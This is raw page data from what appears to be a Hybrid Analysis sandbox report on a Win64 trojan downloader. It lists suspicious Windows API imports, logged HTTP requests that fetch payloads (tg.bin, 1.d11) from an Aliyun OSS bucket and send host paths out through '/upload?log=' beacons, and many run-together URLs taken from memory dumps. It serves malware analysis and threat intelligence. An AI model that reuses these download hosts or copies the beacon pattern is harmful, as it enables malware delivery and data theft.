26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 6a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4fe,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win64/TrojanDownloader.Agent Sample 516efbb6b7df… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 516efbb6b7df…. Malware family: Win64/TrojanDownloader.Agent. Threat score 100/100. 2/27 AV engines flagged this file. 4 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36","keywords":["Malicious","Win64/TrojanDownloader.Agent","malware analysis","sandbox report","threat intelligence","516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36"],"about":{"@type":"SoftwareApplication","name":"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin","applicationCategory":["peexe","64bits","executable"],"identifier":"516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win64/TrojanDownloader.Agent","antivirusDetections":{"malicious":2,"total":27},"behavioralIndicators":{"malicious":4,"suspicious":26},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tac6,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAlloc"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAllocEx"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "ClrVirtualFree" (Indicator: "VirtualFree"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API ">g____PInvoke|266_0" (Indicator: "VirtualFree"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "FreeMemory" (Indicator: "FreeMemory"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.D8000000.00000004.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00003376.00000001.154935.D8000000.00000004.mdmp, 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "ClrVirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API ">g____PInvoke|266_0" (Indicator: "VirtualFree"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "FreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAlloc"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "VirtualAllocExNuma" (Indicator: "VirtualAllocEx"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp")28:T5b0,Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtOpenThreadToken" (Indicator: "OpenThread"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "NtUserOpenThreadDesktop" (Indicator: "OpenThread"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp")29:T1a3f,Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "WaitOneRWaitForMultipleObjectsIgnoringSyncContext" (Indicator: "WaitForMultipleObjects"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "GetTickCount64"GetModuleFileName" (Indicator: "GetTickCount64"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API ".QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "2QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "SetLastError0WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "SetLastError0WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "NtUserSetTimer" (Indicator: "SetTimer"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "NtMITWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "NtMITWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "NtUserMsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "NtUserMsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin"), Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp 00000000-00003376.00000003.162364.DF660000.00000004.mdmp"), Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000001.154935.D8000000.00000004.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp 00000000-00003376.00000001.154935.40000000.00000040.mdmp 00000000-00003376.00000002.156855.40000000.00000040.mdmp 00000000-00003376.00000002.156855.D5260000.00000040.mdmp 00000000-00003376.00000002.156855.D8400000.00000004.mdmp 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp 00000000-00003376.00000003.162364.40000000.00000040.mdmp"), Found reference to API "WaitOneRWaitForMultipleObjectsIgnoringSyncContext" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp"), Found reference to API "GetTickCount64"GetModuleFileName" (Indicator: "GetTickCount64"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API ".QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp")2a:T6d4,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003376.00000000.153016.40000000.00000040.mdmp, 00000000-00003376.00000001.154935.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.40000000.00000040.mdmp, 00000000-00003376.00000002.156855.D5260000.00000040.mdmp, 00000000-00003376.00000002.156855.D8400000.00000004.mdmp, 00000000-00003376.00000003.162364.40000000.00000040.mdmp") Found reference to API "LoadLibrary" (Indicator: "LoadLibrary"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003376.00000003.162364.3E1B0000.00000002.mdmp")2b:T913," HTTP/1.1 200 OK Server: AliyunOSS Date: Tue 28 Apr 2026 14:33:39 GMT Content-Type: video/mp4 Content-Length: 336617 Connection: keep-alive x-oss-request-id: 69F0C543F6401B3139FD4E2A Accept-Ranges: bytes ETag: "009B86C4C51E6FBCD14A4D404FE4EEC1" Last-Modified: Wed 22 Apr 2026 08:44:55 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10406982867217295925 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: AJuGxMUeb7zRSk1AT+TuwQ== x-oss-server-time: 2 with response body ==>48C281C3ACC38802000048C387C28424680100000000000048C387C28424000100000000000048C387C28424C2A00200000000000048C387C284246001000000....... "GET /xiao//upload?log=PathInit%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610 HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Server: AliyunOSS Date: Tue 28 Apr 2026 14:34:02 GMT Content-Type: application/xml Content-Length: 379 Connection: keep-alive x-oss-request-id: 69F0C55AF6401B3139B5742A x-oss-server-time: 2 x-oss-ec: 0026-00000001 with response body ==>3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D38223F3E0A3C4572726F723E0A20203C436F64653E4E6F537563684B6579....... "GET /xiao/tg.bin HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com" Response ==> HTTP/1.1 200 OK Server: AliyunOSS Date: Tue 28 Apr 2026 14:35:28 GMT Content-Type: application/octet-stream Content-Length: 290025 Connection: keep-alive x-oss-request-id: 69F0C5B0AC88A137354354C9 Accept-Ranges: bytes ETag: "4C3D648093C3EAB380888D69E546DD97" Last-Modified: Thu 16 Apr 2026 02:30:23 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12238039513680029461 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: TD1kgJPD6rOAiI1p5Ubdlw== x-oss-server-time: 1 with response body ==>48C281C3ACC38802000048C387C28424680100000000000048C387C28424000100000000000048C387C28424C2A00200000000000048C387C284246001000000....... "GET /xiao/1.1x1 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com" Response ==> HTTP/1.1 200 OK Server: AliyunOSS Date: Tue 28 Apr 2026 14:35:37 GMT Content-Type: application/octet-stream Content-Length: 509696 Connection: keep-alive x-oss-request-id: 69F0C5B9AC88A13735E664C9 Accept-Ranges: bytes ETag: "20D503657309CEE5EF602BA833338580" Last-Modified: Wed 22 Apr 2026 08:43:52 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 4297125474657435590 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: INUDZXMJzuXvYCuoMzOFgA== x-oss-server-time: 2 with response body ==>4D5AC290000300000004000000C3BFC3BF0000C2B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /xiao/1.d11 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com" Response ==> HTTP/1.1 200 OK Server: AliyunOSS Date: Tue 28 Apr 2026 14:35:45 GMT Content-Type: application/octet-stream Content-Length: 208896 Connection: keep-alive x-oss-request-id: 69F0C5C1AC88A137351E78C9 Accept-Ranges: bytes ETag: "65D50E5AB9644CC9E665DBDDF44D05BC" Last-Modified: Wed 22 Apr 2026 08:43:52 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 1857546432735687335 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: ZdUOWrlkTMnmZdvd9E0FvA== x-oss-server-time: 1 with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /xiao//upload?log=AddTask%3AC%3A%5CUsers%5CHAPUBWS%5CAppData%5CLocal%5CPrograms%5C_4199125610%5CDefLaunch.exe HTTP/1.1 Accept: */* UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: yyuupkk789.oss-cn-hongkong.aliyuncs.com Connection: Keep-Alive" Response ==> HTTP/1.1 404 Not Found Server: AliyunOSS Date: Tue 28 Apr 2026 14:36:04 GMT Content-Type: application/xml Content-Length: 379 Connection: keep-alive x-oss-request-id: 69F0C5D4F6401B3431555B2B x-oss-server-time: 1 x-oss-ec: 0026-00000001 with response body ==>3C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D38223F3E0A3C4572726F723E0A20203C436F64653E4E6F537563684B6579.......43:Te42,"http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003376.00000000.153016.DF660000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003376.00000000.153016.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.mp4nonic8784421256,3540,3,dwflags,0,0,,48784421256,3540,3,th32processid,1,0,,002e088663777874,3540,3,dwnumberofbytestoread,2,0,,10008663777874,3540,3,lpdwnumberofbytesread,3,0,,f13e77fa60nonicnoniclnonicnoniclnonicnonicnonicnonicnonicnonicnonicnonicnonicnonic&_xcknonicnonicnonicnonic@%\2!lnonic)'tfnonicnonicnoniclnonicnonicnonicf(+lnonics0ddnonicw(]lnonic" - Source: "00000000-00003376.00000000.153016.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.binhttps://www.baidu.com1.d111.1x1msvcr100.dll" - Source: "00000000-00003376.00000001.154935.40000000.00000040.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/1.1x1https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/1.d11https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/msvcr100.dllhttps://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.binc:\516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin.exe" - Source: "00000000-00003376.00000001.154935.40000000.00000040.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.mp4https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.mp4c:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323\tg[1].mp416efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin.exec:\windows\system32\inetcomm.dllal\microsoft\winc:\windows\system32\cryptnet.dlldeskto" - Source: "00000000-00003376.00000001.154935.D3670000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003376.00000001.154935.D3670000.00000004.mdmp") Found URL "http://172.29.64.1:8080/x64.bin_1775833467.exeinternetopenainternetopenurlainternetreadfileinternetclosehandlevirtualalloccreatethreadwaitforsingleobjectpa" - Source: "00000000-00003376.00000001.154935.D8000000.00000004.mdmp") Found URL "http://172.29.64.1:8080/x64.bin_1775833467.exeinternetopenainternetopenurlainternetreadfileinternetclosehandlehttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003376.00000001.154935.DF660000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003376.00000001.154935.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao//upload?log=pathinit%3ac%3a%5cusers%5chapubws%5cappdata%5clocal%5cprograms%5c_4199125610lmemhttps://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.mp4nonic4932d376b1e0,102,430lkwvd8x-5o\f-zam-etpplockerppmgmtppraiserr-sanonicnonicnonicqvlmem@%\2!lnonic)'tfnonicnonicnonicf(+lheaps0ddnonicw(]lnonic6256'081756,6256,3,$a,1,0,,222056081756,6256,9,$error,2,0,," - Source: "00000000-00003376.00000001.154935.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/mozilla/4.0" - Source: "00000000-00003376.00000001.154935.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.binhttps://www.baidu.com1.d111.1x1msvcr100.dll" - Source: "00000000-00003376.00000002.156855.40000000.00000040.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/1.1x1https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/1.d11https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/msvcr100.dllhttps://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.binc:\516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin.exe" - Source: "00000000-00003376.00000002.156855.40000000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003376.00000002.156855.D3670000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.binhttps://www.baidu.com1.d111.1x1msvcr100.dll" - Source: "00000000-00003376.00000002.156855.D5260000.00000040.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.binhttps://www.baidu.com1.d111.1x1msvcr100.dll" - Source: "00000000-00003376.00000002.156855.D8400000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00003376.00000002.156855.DF660000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00003376.00000002.156855.DF660000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00003376.00000002.156855.DF660000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00003376.00000002.156855.DF660000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003376.00000002.156855.DF660000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003376.00000002.156855.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.binhttps://www.baidu.com1.d111.1x1msvcr100.dll" - Source: "00000000-00003376.00000003.162364.40000000.00000040.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/1.1x1https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/1.d11https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/msvcr100.dllhttps://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.binc:\516efbb6b7df1667771ad64603daacdc5986416d8229588d1a16504c04053f36.bin.exe" - Source: "00000000-00003376.00000003.162364.40000000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.bininrules_autoupdate_1subcasubca:\users\hapubws\appdata\local\microsoft\windows\history\history.ie5\inip" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/hrrtadtb.dllhrrthrrthrrthrrthrrthrrthrrthrrthrrthrrthrrtcmgrmozilla/4.0" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao/tg.bin0c0!sessubwsal\p0a0!ubwsal\pasycdecdasycasycdecdasycasycasycasycasycaultrep.dlldprovider.dlliutils.dllentux.dlllbcatq.dlluery.ex.dllsoburn.8api.eue.dllctiveds.dllmozilla/5.0" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "https://yyuupkk789.oss-cn-hongkong.aliyuncs.com/xiao//upload?log=" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwashington1redmond1microsoft" - Source: "00000000-00003376.00000003.162364.DF660000.00000004.mdmp")50:T57f,Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00003376.00000000.153016.D3670000.00000004.mdmp, 00000000-00003376.00000001.154935.D3670000.00000004.mdmp, 00000000-00003376.00000003.162364.D3670000.00000004.mdmp") Found string "GET 